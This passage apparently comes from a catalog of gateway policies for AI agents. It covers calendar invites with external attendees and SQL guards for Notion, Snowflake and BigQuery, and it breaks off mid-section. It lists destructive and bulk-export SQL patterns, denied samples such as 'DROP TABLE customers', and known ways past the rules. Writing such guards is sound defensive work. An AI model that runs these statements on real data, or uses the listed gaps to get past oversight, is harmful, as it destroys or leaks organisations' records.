on tool hooks) payload.name alias. Reading both means a call whose # resource.name is absent still fails closed rather than slipping through as a # non-write. Each name is lowercased and "-" normalized to "_" so create_event # (official Google, snake_case), create-event (nspady, kebab-case), and any # gateway server-name prefix all land on the same suffix. tool_names contains normalized if { name := object.get(object.get(input, "resource", {}), "name", "") is_string(name) name != "" normalized := replace(lower(name), "-", "_") } tool_names contains normalized if { payload := object.get(input, "payload", {}) is_object(payload) name := object.get(payload, "name", "") is_string(name) name != "" normalized := replace(lower(name), "-", "_") } # Event-write suffix family: *create_event / *update_event across the official # Google server and nspady (normalized above). The read-only Claude gcal_* # connector exposes no write tools, so nothing it sends matches. is_event_write if { some name in tool_names endswith(name, "create_event") } is_event_write if { some name in tool_names endswith(name, "update_event") } # Consolidated manage_event (taylorwilsdon) spans create, update, AND delete # behind one action argument, so tool-name matching alone cannot scope it. # Guard every action except an explicit delete: the upstream action vocabulary # is not fully verified, so a missing, empty, non-string, or unrecognized # action stays guarded (fail closed). A literal "delete" carries no attendee # payload and is left to the freeze-destructive-events companion policy. is_manage_event_tool if { some name in tool_names endswith(name, "manage_event") } is_event_write if { is_manage_event_tool not manage_action_is_delete } manage_action := lower(trim_space(raw)) if { raw := object.get(args, "action", "") is_string(raw) } manage_action_is_delete if { manage_action == "delete" } # --- Argument access --- # Tool arguments — defined only when payload and args are well-typed objects. # When they are not, `args` is undefined, every rule that reads it fails # silently, and the unverifiable deny below takes over. args := value if { payload := object.get(input, "payload", {}) is_object(payload) value := object.get(payload, "args", {}) is_object(value) } args_malformed if { not is_object(object.get(input, "payload", {})) } args_malformed if { payload := object.get(input, "payload", {}) is_object(payload) raw := object.get(payload, "args", null) raw != null not is_object(raw) } # --- Attendee extraction --- # Calendar v3 / nspady superset shape: attendees is an array of objects, each # carrying the attendee's address under "email". attendee_emails contains email if { value := object.get(args, "attendees", []) is_array(value) some entry in value is_object(entry) raw := object.get(entry, "email", "") is_string(raw) email := lower(trim_space(raw)) email != "" } # Defensive: accept attendees given as bare address strings. attendee_emails contains email if { value := object.get(args, "attendees", []) is_array(value) some entry in value is_string(entry) email := lower(trim_space(entry)) email != "" } # Official suggest_time shape (attendeeEmails: array of strings), checked on # writes defensively in case a server reuses it there. attendee_emails contains email if { value := object.get(args, "attendeeEmails", []) is_array(value) some entry in value is_string(entry) email := lower(trim_space(entry)) email != "" } # --- Fail-closed verifiability checks --- attendees_unverifiable if args_malformed # attendees / attendeeEmails present but not an array. attendees_unverifiable if { value := object.get(args, "attendees", null) value != null not is_array(value) } attendees_unverifiable if { value := object.get(args, "attendeeEmails", null) value != null not is_array(value) } # An attendees entry that is neither a non-empty address string nor an object # with a non-empty string email cannot be checked — deny rather than skip. attendees_unverifiable if { value := object.get(args, "attendees", []) is_array(value) some entry in value not attendee_entry_ok(entry) } attendees_unverifiable if { value := object.get(args, "attendeeEmails", []) is_array(value) some entry in value not attendee_email_string_ok(entry) } attendee_entry_ok(entry) if { attendee_email_string_ok(entry) } attendee_entry_ok(entry) if { is_object(entry) raw := object.get(entry, "email", "") is_string(raw) trim_space(raw) != "" } attendee_email_string_ok(entry) if { is_string(entry) trim_space(entry) != "" } # --- Domain check --- # Extract the domain of one attendee address. Deliberately conservative: the # address must contain exactly one "@" — zero or multiple "@" signs (e.g. two # addresses smuggled into one entry) yield no domain, so is_internal fails and # the write is denied. attendee_domain(email) := domain if { parts := split(email, "@") count(parts) == 2 # Strip only the TRAILING closing bracket (and stray trailing spaces) of a # "Name " form. Must not trim the left of the domain: a leading # ">" or space (e.g. "drop@>example.com", "drop@ example.com") is not a valid # domain and must stay unrecognized so is_internal fails and the write is # denied — trim() (both ends) would misread these as the allowlisted domain. domain := trim_right(parts[1], "> ") } is_internal(email) if { allowed_domains[attendee_domain(email)] } has_external_attendee if { some email in attendee_emails not is_internal(email) } # --- Exemption --- # Exempt callers in the documented IdP group. Missing subject, claims, or # groups means no exemption — the grant fails closed. caller_exempt if { subject := object.get(input, "subject", {}) claims := object.get(subject, "claims", {}) groups := object.get(claims, "groups", []) some group in groups group == exempt_group } # --- Allow rules --- # Allow anything that is not a guarded calendar event write (reads, frees/busy, # responds, explicit manage_event deletes, other apps' tools, ...). allow if { not is_event_write } allow if { is_event_write caller_exempt } # Allow an event write only when the attendee arguments are verifiable and no # attendee resolves to a domain outside the allowlist. An event with no # attendees at all passes — there is nothing external to email. allow if { is_event_write not attendees_unverifiable not has_external_attendee } # --- Deny reasons --- reasons contains "This calendar event includes attendees outside the corporate domain allowlist. Google emails the event body to external attendees when updates are sent, so this invite could carry data out of the organization. Remove the external attendees, or ask your InfoSec team to add you to the calendar-external-schedulers group if cross-org scheduling is part of your role." if { is_event_write not caller_exempt has_external_attendee } reasons contains "The attendee list on this calendar event is in a shape the policy cannot verify, so the call was denied as a precaution. Provide attendees as an array of objects with an email field, or attendeeEmails as an array of address strings. If this is a false positive, contact your InfoSec team." if { is_event_write not caller_exempt attendees_unverifiable } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Destructive and Export SQL on Notion Data Sources URL: https://www.intentbasedpolicy.com/policies/notion/guard-datasource-sql App(s): notion | Direction: ingress | Bundles: soc2 | Package: notion.ingress.guard_datasource_sql | Published: 2026-07-12 | Tags: notion, guard-warehouse-sql, ingress, sql, readonly, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/notion/guard-datasource-sql/policy.md # notion / guard-datasource-sql **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on a destructive/export SQL construct or an uninspectable payload, allow otherwise **Package:** `notion.ingress.guard_datasource_sql` ## What it does Inspects Notion data-source query tool calls (`notion-query-data-sources` on the hosted server, `query-data-source` on the official local server) and denies any whose raw SQL argument contains a data-manipulation, schema, or export construct — `INSERT`, `UPDATE`, `DELETE`, `DROP`, `ALTER`, `CREATE`, `GRANT`, `TRUNCATE`, a MySQL `REPLACE INTO` upsert — or a bulk-export idiom (`INTO OUTFILE`/`DUMPFILE`, `COPY INTO`, `COPY … TO`, `EXPORT DATA`, `UNLOAD`, `ATTACH DATABASE`, `SELECT … INTO`). The effect is that the agent can only run **read-only SELECT queries** against Notion databases — which in practice hold HR trackers, CRM tables, finance/deal pipelines, and incident logs. Calls that pass only an existing view ID (or other non-SQL arguments) with no free SQL string are allowed through untouched, and read-only SELECTs stay allowed, so ordinary reporting keeps working. The policy **fails closed** on anything it cannot inspect: if the SQL argument is present but not a plain string, or the tool is called with an unexpectedly-shaped arguments payload (an array or scalar where an object is expected), the call is denied with an explanatory reason rather than waved through. This is defense-in-depth: the hosted server nominally exposes SELECT-style querying only, so a blocked DML/DDL keyword guards against upstream server changes, plan/feature drift, or prompt-injected query bodies — not against a capability Notion documents today. ## Compliance alignment - **HIPAA §164.502(b) / §164.514(d)** — supports minimum-necessary and information-access limits by confining agent SQL over Notion databases (which in practice hold HR trackers and other regulated records) to read-only SELECT and denying bulk-export idioms that would pull entire tables of personal/health data out through a single query; **§164.312(c)** — supports the integrity standard by blocking `DELETE`/`DROP`/`UPDATE`/`TRUNCATE` against those records. - **GDPR Art. 5(1)(c) / CCPA** — supports data minimisation by denying bulk-export idioms that would pull entire HR/CRM tables of personal data out through a single query. - **SOC 2 CC8.1** — supports change management by preventing the agent from making unreviewed schema changes (`CREATE`/`ALTER`/`DROP`) to data-source structures. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `notion-mcp-…`), which is not standardized, so the policy matches by **suffix**: - `*query-data-sources` — Notion hosted server (`notion-query-data-sources`, verified against Notion's supported-tools docs) - `*query-data-source` — official local server (`query-data-source`, verified against the `makenotion/notion-mcp-server` README; the v1 name was `post-database-query`) Neighbouring hosted read tools — `notion-query-database-view`, `notion-query-meeting-notes`, `notion-search`, `notion-fetch` — do not end with either suffix and pass through untouched. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape Notion documents that `notion-query-data-sources` accepts **raw SQL or an existing view ID** with filters/grouping/summaries, but does not publish the exact wire argument key names. The policy therefore reads the SQL string defensively via `object.get` from three candidate keys — `sql`, `query`, `statement` — and matches the concatenation of whichever are present. - No candidate key present (e.g. a view-ID-only call): nothing to inspect, **allow**. - A candidate key holds a non-string value: uninspectable, **deny** (fail closed). - `input.payload.args` is not an object at all: uninspectable, **deny** (fail closed). ## Examples ### Allowed — read-only SELECT ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-mcp-notion-query-data-sources", "type": "tool" }, "payload": { "name": "notion-mcp-notion-query-data-sources", "args": { "sql": "SELECT name, stage, close_date FROM crm_pipeline WHERE stage = 'won'" } } } } ``` `allow = true`, no reason. ### Allowed — view-ID-only call, no free SQL ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-mcp-notion-query-data-sources", "type": "tool" }, "payload": { "name": "notion-mcp-notion-query-data-sources", "args": { "view_id": "1f3a-collection-view-90d2" } } } } ``` `allow = true` — nothing to inspect, passes untouched. ### Denied — destructive SQL ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-mcp-notion-query-data-sources", "type": "tool" }, "payload": { "name": "notion-mcp-notion-query-data-sources", "args": { "sql": "DELETE FROM hr_tracker WHERE status = 'closed'" } } } } ``` `allow = false` with the blocked-construct reason. ## Composition This policy blocks destructive/export SQL on the data-source query path. Useful companions: - **Egress PII redaction** on `-query-data-sources` results — a permitted `SELECT *` over an HR tracker still returns regulated data. - **PF-28 `default-deny-unknown-tools`** — pin the exact Notion tool names your gateway exposes so a renamed or newly added query tool cannot slip past the suffix match. - A **sensitive data-source denylist** policy (deny queries whose target data-source ID is on an HR/comp/pipeline list unless the caller's IdP claims include the owning team). - A **`-get-users` guard** — the hosted server's directory tool returns workspace member emails and deserves its own gate. ## Known limitations - **Regex over SQL text, not a parser.** A blocked keyword inside a string literal (e.g. `SELECT * FROM notes WHERE body = 'please DROP this'`) is a false positive, and the `SELECT … INTO` pattern can trip on the word "into" in a literal. Conversely, a mutating construct not in the list would pass. Treat this as a high-signal read-only guard, not a SQL firewall. - **Hosted argument key names are unverified.** Notion documents the raw-SQL capability but not the wire key; the policy inspects `sql`, `query`, and `statement`. If your deployment carries SQL under a different key it passes uninspected — confirm with the dump-input technique and add the key to `sql_arg_keys`. - **Community servers are out of scope.** suekou's `notion_query_data_source_by_values` sends structured filters (no free SQL) and does not match; awkoy's `notion_execute` meta-tool hides every operation behind one tool name — block that server in gateway config rather than relying on this policy. - **No identity-based exemption.** All callers are read-only on this path. If you need a break-glass data team, add an `allow if` branch gated on `input.subject.claims.groups` (group names are placeholders — replace them with your IdP's group names at import time). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package notion.ingress.guard_datasource_sql # Deny-by-default: a Notion data-source query is permitted only when it carries # no free SQL at all (view-ID-only call) or its SQL is read-only, and its # payload is inspectable. Anything uninspectable fails closed. default allow := false # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match on the suffix to stay portable: # - `query-data-sources` — hosted server (`notion-query-data-sources`) # - `query-data-source` — official local server (`query-data-source`) # Neighbouring read tools (`notion-query-database-view`, # `notion-query-meeting-notes`, `notion-search`, `notion-fetch`) do not end # with either suffix and pass through untouched. datasource_query_suffixes := [ "query-data-sources", "query-data-source", ] is_datasource_query_tool if { name := lower(input.resource.name) some suffix in datasource_query_suffixes endswith(name, suffix) } # --- SQL extraction ---------------------------------------------------------- # Notion documents "raw SQL or an existing view ID" but not the exact wire key, # so we defensively inspect three candidate argument keys and match the # concatenation of whichever are present. A call with none of these keys has no # free SQL to inspect (view-ID-only) and is allowed through untouched. sql_arg_keys := ["sql", "query", "statement"] raw_args := object.get(object.get(input, "payload", {}), "args", {}) sql_values := [v | is_object(raw_args) some key in sql_arg_keys v := raw_args[key] ] # Every present SQL value must be a plain string, otherwise the call is # uninspectable and fails closed. all_sql_strings if { every v in sql_values { is_string(v) } } sql_text := concat(" ", [v | some v in sql_values; is_string(v)]) # --- Blocked constructs ------------------------------------------------------ # Conservative, case-insensitive patterns anchored on word boundaries so # identifiers like `created_at`/`updated_at` never trip UPDATE/CREATE. blocked_constructs := [ { # Data-manipulation, schema, and privilege keywords. \b keeps # `updated_at` from matching UPDATE and `created_at` from CREATE. "pattern": `(?i)\b(?:INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|GRANT|TRUNCATE)\b`, "label": "data-manipulation, schema, or privilege keyword (INSERT, UPDATE, DELETE, DROP, ALTER, CREATE, GRANT, or TRUNCATE)", }, { # MySQL-style bulk export of a result set to a server-side file. "pattern": `(?i)\binto\s+(?:outfile|dumpfile)\b`, "label": "INTO OUTFILE / INTO DUMPFILE (bulk export to a file)", }, { # MySQL REPLACE INTO — an insert-or-replace mutation (delete+insert) # that carries no INSERT/UPDATE/DELETE keyword, so the DML pattern # above misses it. Optional LOW_PRIORITY/DELAYED modifiers are allowed # between REPLACE and INTO. The required `into` keeps this from # colliding with the scalar `REPLACE(str, from, to)` function used in # read-only SELECTs. "pattern": `(?i)\breplace\s+(?:low_priority\s+|delayed\s+)?into\b`, "label": "REPLACE INTO (MySQL insert-or-replace mutation)", }, { # Snowflake-style bulk unload of a table to a stage or location. "pattern": `(?i)\bcopy\s+into\b`, "label": "COPY INTO (bulk unload)", }, { # Postgres-style COPY TO 'file' / TO STDOUT. The # bounded gap and required quote/STDOUT keep prose from matching. "pattern": `(?i)\bcopy\b[\s\S]{0,160}\bto\s+(?:stdout\b|')`, "label": "COPY ... TO (bulk copy to a file or stdout)", }, { # BigQuery-style bulk export statement. "pattern": `(?i)\bexport\s+data\b`, "label": "EXPORT DATA (bulk export)", }, { # Redshift/Athena-style bulk unload statement. "pattern": `(?i)\bunload\b`, "label": "UNLOAD (bulk export)", }, { # SQLite escape hatch that attaches an external database file. "pattern": `(?i)\battach\s+database\b`, "label": "ATTACH DATABASE (cross-database escape)", }, { # SELECT ... INTO copies the result set into another table or file. "pattern": `(?i)\bselect\b[\s\S]+?\binto\b`, "label": "SELECT ... INTO (copies results into another table or file)", }, ] sql_is_blocked if { some entry in blocked_constructs regex.match(entry.pattern, sql_text) } # --- Allow rules ------------------------------------------------------------- # Any tool other than the data-source query tools passes through. allow if { not is_datasource_query_tool } # View-ID-only (or otherwise SQL-free) calls pass through untouched. allow if { is_datasource_query_tool is_object(raw_args) count(sql_values) == 0 } # Read-only SQL is allowed: every SQL value is a plain string and none of the # blocked constructs match. allow if { is_datasource_query_tool is_object(raw_args) count(sql_values) > 0 all_sql_strings not sql_is_blocked } # --- Deny reasons ------------------------------------------------------------ reasons contains msg if { is_datasource_query_tool is_object(raw_args) count(sql_values) > 0 all_sql_strings some entry in blocked_constructs regex.match(entry.pattern, sql_text) msg := sprintf("This Notion data-source query contains a blocked SQL construct — %s. The agent path to Notion databases is read-only: rewrite the query as a plain SELECT or use a saved view. If this was a false positive, contact your data platform team.", [entry.label]) } # Fail closed: SQL argument present but not a plain string. reasons contains "The SQL argument on this Notion data-source query is not a plain string, so it cannot be inspected. Pass the query as a single SQL string or reference a saved view ID instead. If this looks wrong, contact your data platform team." if { is_datasource_query_tool is_object(raw_args) count(sql_values) > 0 not all_sql_strings } # Fail closed: arguments payload is not an object at all. reasons contains "This Notion data-source query call has an unexpected argument shape that cannot be inspected, so it is blocked. Retry with a standard arguments object, or contact your data platform team." if { is_datasource_query_tool not is_object(raw_args) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Destructive and Mutating Snowflake SQL URL: https://www.intentbasedpolicy.com/policies/snowflake/guard-warehouse-sql App(s): snowflake | Direction: ingress | Bundles: soc2, pci-dss, sox | Package: snowflake.ingress.guard_warehouse_sql | Published: 2026-07-12 | Tags: snowflake, guard-warehouse-sql, ingress, sql, readonly, soc2, pci-dss, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/snowflake/guard-warehouse-sql/policy.md # snowflake / guard-warehouse-sql **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on a mutating/destructive statement, allow otherwise **Package:** `snowflake.ingress.guard_warehouse_sql` ## What it does Inspects the SQL text that Snowflake MCP tools carry in their `query` argument and denies any statement in a mutating or destructive class — `DROP`, `TRUNCATE`, `DELETE`, `UPDATE`, `INSERT`, `MERGE`, `ALTER`, `CREATE`, `GRANT`, and `REVOKE` (the `CREATE` class also covers `CREATE USER` / `CREATE ROLE` governance DDL). Read-only statements — `SELECT` and other queries that match none of those keywords — pass through. The Snowflake-Labs server also exposes DDL tools that carry **no SQL string** — `create_object`, `create_or_alter_object`, and `drop_object` take structured args (`object_type`, `target_object`) instead. `drop_object` alone can drop a Database, Schema, Table, View, Warehouse, Role, or User. Because the SQL-text check can never see inside these, the policy denies them **by tool name**, so the read-only guarantee does not leak through them. The effect is to make any Snowflake connection **effectively read-only for ordinary agent callers**, independent of the managed server's `read_only` flag or the Labs server's `sql_statement_permissions` allowlist: the check is on the SQL text (and, for the structured DDL tools, the tool name) itself, so it holds even when the server-side gate is misconfigured or absent. Callers whose IdP-issued `groups` claim includes `data-platform-admins` are exempt, so break-glass DDL still works for the platform team. The exemption is read through an `object.get` chain that **fails closed** — a caller with no claims, or no `groups` claim, is treated as having no groups and is therefore subject to the deny. This runs at ingress, before the statement reaches Snowflake, so a blocked `DROP`/`DELETE`/`GRANT` never executes — Time Travel and undrop are not needed because the change never happens. ## Compliance alignment - **SOC 2 CC8.1** — supports change management by preventing the agent from making unreviewed schema/DDL changes (`CREATE`/`ALTER`/`DROP`) to production data structures outside a controlled break-glass path. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role: mutating access to warehouse data over the MCP path is confined to the `data-platform-admins` group, and everyone else is read-only. - **SOX §802 / 18 U.S.C. §1519** — supports the anti-destruction/alteration of records control by blocking `DROP`/`TRUNCATE`/`DELETE`/`UPDATE` against financially relevant warehouse tables on the agent channel. - **HIPAA §164.312(c)(1) / §164.308(a)(4)** — supports the integrity standard and information-access management on a PHI-capable warehouse: blocking `DROP`/`TRUNCATE`/`DELETE`/`UPDATE` (and the structured `create_object`/`drop_object` DDL tools) for non-admin callers protects ePHI from improper alteration or destruction on the agent channel and confines mutating access to the `data-platform-admins` group. ## Tool name matching The policy matches the Snowflake tools that pass a raw SQL statement in a `query` argument, by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized): - `*system_execute_sql` — Snowflake-managed server (`SYSTEM_EXECUTE_SQL` type) - `*run_snowflake_query` — Snowflake-Labs server (`snowflake-labs-mcp`) - `*read_query`, `*write_query`, `*create_table` — isaacwasserman community server A second set of Snowflake-Labs tools is matched by name (not by SQL text) because they carry no `query` argument and are mutating/destructive by design: - `*create_object`, `*create_or_alter_object`, `*drop_object` — Snowflake-Labs structured DDL tools (denied outright for non-exempt callers) Cortex read tools that emit natural language rather than raw SQL — `CORTEX_ANALYST_MESSAGE` (arg `message`) and `CORTEX_SEARCH_SERVICE_QUERY` (arg `query`) — do **not** end with any of these suffixes and pass through untouched, as do the read/list/describe helpers (`list_objects`, `list_databases`, `describe_table`, …). **Managed-server caveat:** the Snowflake-managed server lets the admin choose each tool's name (the dangerous semantics live in the tool `type`, which is not on the wire at call time). If your managed server exposes its SQL tool under a custom name (e.g. `sales-sql`), add that suffix to `sql_tool_suffixes` in `policy.md`, and pair this policy with a PF-28 `default-deny-unknown-tools` policy so an unrecognized SQL tool cannot slip past. See Known limitations. ## Argument shape All matched tools carry the statement in `input.payload.args.query`. As a defensive fallback the policy also inspects `statement` and `sql` keys and matches the concatenation, so a deployment that renamed the argument is still covered. If none of those keys is present the call has no inspectable SQL and is allowed through (the tool call is inert without a statement). ## Examples ### Allowed — read-only SELECT ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-run_snowflake_query", "type": "tool" }, "payload": { "name": "snowflake-mcp-run_snowflake_query", "args": { "query": "SELECT id, created_at, updated_at FROM orders LIMIT 10" } } } } ``` `allow = true` — `created_at`/`updated_at` do not trip `CREATE`/`UPDATE` because the pattern is anchored on word boundaries. ### Allowed — Cortex natural-language tool passes through ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-CORTEX_ANALYST_MESSAGE", "type": "tool" }, "payload": { "name": "snowflake-mcp-CORTEX_ANALYST_MESSAGE", "args": { "message": "update me on this quarter's revenue" } } } } ``` `allow = true` — not a SQL tool; the word "update" in prose is irrelevant. ### Denied — destructive SQL ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-mcp-run_snowflake_query", "type": "tool" }, "payload": { "name": "snowflake-mcp-run_snowflake_query", "args": { "query": "DROP TABLE customers" } } } } ``` `allow = false` with the mutating-SQL reason. ### Allowed — break-glass admin The same `DROP TABLE customers` call succeeds when `input.subject.claims.groups` contains `data-platform-admins`. ## Composition This policy blocks statement-class mutation. Useful companions: - **PF-07 bulk-export sibling** — deny `COPY INTO @` / `COPY INTO 's3://…'` and bare `CREATE STAGE` to stop exfiltration to external storage (this policy blocks `CREATE STAGE` via the `CREATE` class but not a `COPY INTO` that reuses an existing stage). - **PF-28 `default-deny-unknown-tools`** — allowlist the exact Snowflake tool names the gateway exposes so an admin-named managed SQL tool cannot bypass the suffix match here. - **PF-22 `deny-escape-hatches`** — deny opaque composite tools (`CORTEX_AGENT_RUN`, `GENERIC` UDF/stored-proc wrappers) whose SQL the gateway cannot see. - **Egress PII/PAN redaction** on `read_query`/`run_snowflake_query` results, since a permitted `SELECT *` can still return regulated data. ## Known limitations - **Regex over SQL text, not a parser.** The keyword match runs on the raw string. A mutating keyword inside a string literal or comment (e.g. `SELECT 'we will DROP this later'`) is a false positive; conversely, SQL that mutates without one of the listed keywords (a `CALL` to a stored procedure that deletes, an `EXECUTE IMMEDIATE` assembled from fragments) is a false negative. Treat this as a high-signal read-only guard, not a SQL firewall. - **Stored procedures / composite tools.** `CALL proc()` and Cortex Agent / `GENERIC` tools can have arbitrary side effects the gateway cannot inspect — deny those with the PF-22 companion. - **Non-string SQL arguments.** The SQL inspection only reads `query`/ `statement`/`sql` when they are strings (the verified schema for every matched tool). A crafted non-string value (a list or object) is treated as carrying no inspectable SQL and passes through as inert rather than erroring the rule open — but if a future/forked server actually executed SQL from a non-string argument, that statement would not be inspected. Pair with the PF-28 companion, which pins the exact tool set and argument contract. - **Managed-server admin naming.** Tools on the Snowflake-managed server have admin-chosen names; only the `system_execute_sql` suffix is matched by default. Add your configured name to `sql_tool_suffixes` and pair with PF-28. Verified tool names for the Labs and community servers come from the Snowflake landscape note; the managed-server tool *name* is unverified by design (semantics are carried in the non-wire `type`). - **Bulk export not covered.** `COPY INTO` against an existing external stage is not a listed keyword — use the PF-07 bulk-export companion. - **Group names are placeholders** — replace `data-platform-admins` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups`; on Auth0 tenants without RBAC/permissions configured, no `groups` claim reaches the policy and the exemption never fires (fail-closed — everyone is read-only until the claim is wired up). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package snowflake.ingress.guard_warehouse_sql # Deny-by-default: a Snowflake SQL tool call is permitted only when it carries no # mutating/destructive statement, or the caller is an exempt data-platform admin. default allow := false # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match on the suffix to stay portable. These are the Snowflake tools that pass a # raw SQL statement in a `query` argument: # - `system_execute_sql` — Snowflake-managed server (SYSTEM_EXECUTE_SQL type) # - `run_snowflake_query` — Snowflake-Labs server # - `read_query`/`write_query`/`create_table` — isaacwasserman community server # Cortex tools (`CORTEX_ANALYST_MESSAGE`, `CORTEX_SEARCH_SERVICE_QUERY`) and # list/describe helpers do NOT end with any of these suffixes, so they pass # through untouched. sql_tool_suffixes := [ "system_execute_sql", "run_snowflake_query", "read_query", "write_query", "create_table", ] is_sql_tool if { name := lower(input.resource.name) some suffix in sql_tool_suffixes endswith(name, suffix) } # --- Structured mutating tools ---------------------------------------------- # The Snowflake-Labs server also exposes DDL tools that carry NO SQL string — # they take structured args (`object_type`, `target_object`) — so the SQL-text # check below can never see them. They are mutating/destructive by definition # (`drop_object` can drop a Database, Schema, Table, View, Warehouse, Role, or # User), so we deny them by tool name outright, subject to the same break-glass # exemption. Without this, the "effectively read-only" guarantee would leak. structured_mutating_suffixes := [ "create_object", "create_or_alter_object", "drop_object", ] is_structured_mutating_tool if { name := lower(input.resource.name) some suffix in structured_mutating_suffixes endswith(name, suffix) } # --- SQL extraction ---------------------------------------------------------- # All matched tools pass the statement in `query`; we also inspect `statement` # and `sql` defensively in case a deployment renamed the argument, and match the # concatenation of whichever are present. Only string values are inspected — a # crafted non-string arg (list/number/object) is treated as carrying no SQL # rather than erroring the rule into fail-open (see Known limitations). sql_text := concat(" ", [v | some key in ["query", "statement", "sql"] v := object.get(input.payload.args, key, "") is_string(v) v != "" ]) # Mutating/destructive statement classes. Case-insensitive `(?i)` and anchored on # word boundaries `\b` so identifiers like `created_at`, `updated_at`, or # `merge_log` do not trip CREATE/UPDATE/MERGE. The CREATE class also covers # CREATE USER / CREATE ROLE governance DDL. mutating_pattern := `(?i)\b(?:DROP|TRUNCATE|DELETE|UPDATE|INSERT|MERGE|ALTER|CREATE|GRANT|REVOKE)\b` is_mutating_sql if { regex.match(mutating_pattern, sql_text) } # --- Identity exemption ------------------------------------------------------ # Break-glass: callers in the `data-platform-admins` IdP group may run DDL. The # object.get chain fails closed — a missing `subject.claims` object or missing # `groups` claim yields an empty list, so an unauthenticated/unclaimed caller is # never exempt. caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) is_exempt if { some g in caller_groups g == "data-platform-admins" } # --- Allow rules ------------------------------------------------------------- # Non-guarded tools (Cortex Analyst/Search, list/describe helpers, anything # else) pass through. Both the SQL-carrying tools and the structured DDL tools # are guarded, so neither slips through this branch. allow if { not is_sql_tool not is_structured_mutating_tool } # Break-glass admins may run any statement on the SQL tools. allow if { is_sql_tool is_exempt } # Ordinary callers may run read-only SQL (SELECT and other non-mutating reads). allow if { is_sql_tool not is_exempt not is_mutating_sql } # Break-glass admins may also run the structured DDL tools. allow if { is_structured_mutating_tool is_exempt } # --- Deny reason ------------------------------------------------------------- reasons contains "This Snowflake statement performs a mutating or destructive operation (DROP, TRUNCATE, DELETE, UPDATE, INSERT, MERGE, ALTER, CREATE, GRANT, or REVOKE — including CREATE USER / CREATE ROLE) and is blocked on the agent MCP path, which is read-only. Rewrite it as a SELECT, or have a member of the data-platform-admins group run break-glass DDL. If this was a false positive, contact your data platform team." if { is_sql_tool not is_exempt is_mutating_sql } reasons contains "This Snowflake tool performs a structured schema/object mutation (create/alter/drop of a database, schema, table, view, warehouse, role, or user) and is blocked on the agent MCP path, which is read-only. Route the change through your change-management process, or have a member of the data-platform-admins group run it as break-glass DDL. If this was a false positive, contact your data platform team." if { is_structured_mutating_tool not is_exempt } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Block Destructive SQL in BigQuery Queries URL: https://www.intentbasedpolicy.com/policies/bigquery/guard-warehouse-sql App(s): bigquery | Direction: ingress | Bundles: soc2, pci-dss, sox | Package: bigquery.ingress.guard_warehouse_sql | Published: 2026-07-12 | Tags: bigquery, guard-warehouse-sql, ingress, sql, readonly, soc2, pci-dss, sox Source: https://github.com/dtwoai/policy-store/blob/main/apps/bigquery/guard-warehouse-sql/policy.md # bigquery / guard-warehouse-sql **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on a mutating/destructive statement (and fail closed on unreadable SQL), allow otherwise **Package:** `bigquery.ingress.guard_warehouse_sql` ## What it does Inspects the raw GoogleSQL string carried by BigQuery **write-capable** query tools and denies any statement in a state-changing class — DML (`INSERT`/`UPDATE`/`DELETE`/`MERGE`), destructive DDL (`TRUNCATE TABLE`, `DROP TABLE`/`DATASET`/`SCHEMA` and the data-bearing `DROP SNAPSHOT TABLE`/`EXTERNAL TABLE`/`MATERIALIZED VIEW`, `ALTER`, non-temporary `CREATE`), privilege change (`GRANT`), procedure invocation (`CALL`), bulk ingest (`LOAD DATA`), and dynamic SQL (`EXECUTE IMMEDIATE`). Read-only statements — `SELECT` and anything matching none of those constructs — pass through. The check makes a BigQuery connection **effectively read-only for ordinary agent callers** on the MCP path, independent of the server's `writeMode` setting (the DTwo policy cannot see whether the MCP Toolbox server runs `allowed`, `blocked`, or `protected`) or the caller's IAM role: the guard is on the SQL text itself, so it holds even when the server-side gate is misconfigured or absent. Two properties matter for correctness: - **The read-only tool always passes.** The official Google server exposes a dedicated `execute_sql_readonly` tool ("no DML, DDL, or Python UDFs"). Because the guarded write tool `execute_sql` is matched by suffix, `execute_sql` would also be a suffix of `execute_sql_readonly` under a naive `contains`-style match. This policy matches `_readonly` **first** and excludes it, so a read-only call can never be caught by the write-SQL guard — even if its SQL contains a mutating keyword. - **Fail closed on unreadable SQL.** If a matched write-capable tool is called with no `sql` string (missing or empty), the guard cannot confirm the statement is read-only, so it **denies** rather than allowing an inert call through. This prevents a malformed or renamed-argument payload from slipping a write past the regex. Callers whose IdP-issued `groups` claim includes `data-engineering` are exempt, so the data-engineering team can still run writes and DDL. The exemption is read through an `object.get` chain that **fails closed** — a caller with no claims, or no `groups` claim, is treated as having no groups and is therefore subject to the deny. This runs at ingress, before the statement reaches BigQuery, so a blocked `DROP`/`DELETE`/`GRANT` never executes — BigQuery's 7-day time-travel window is not needed because the change never happens. ## Compliance alignment - 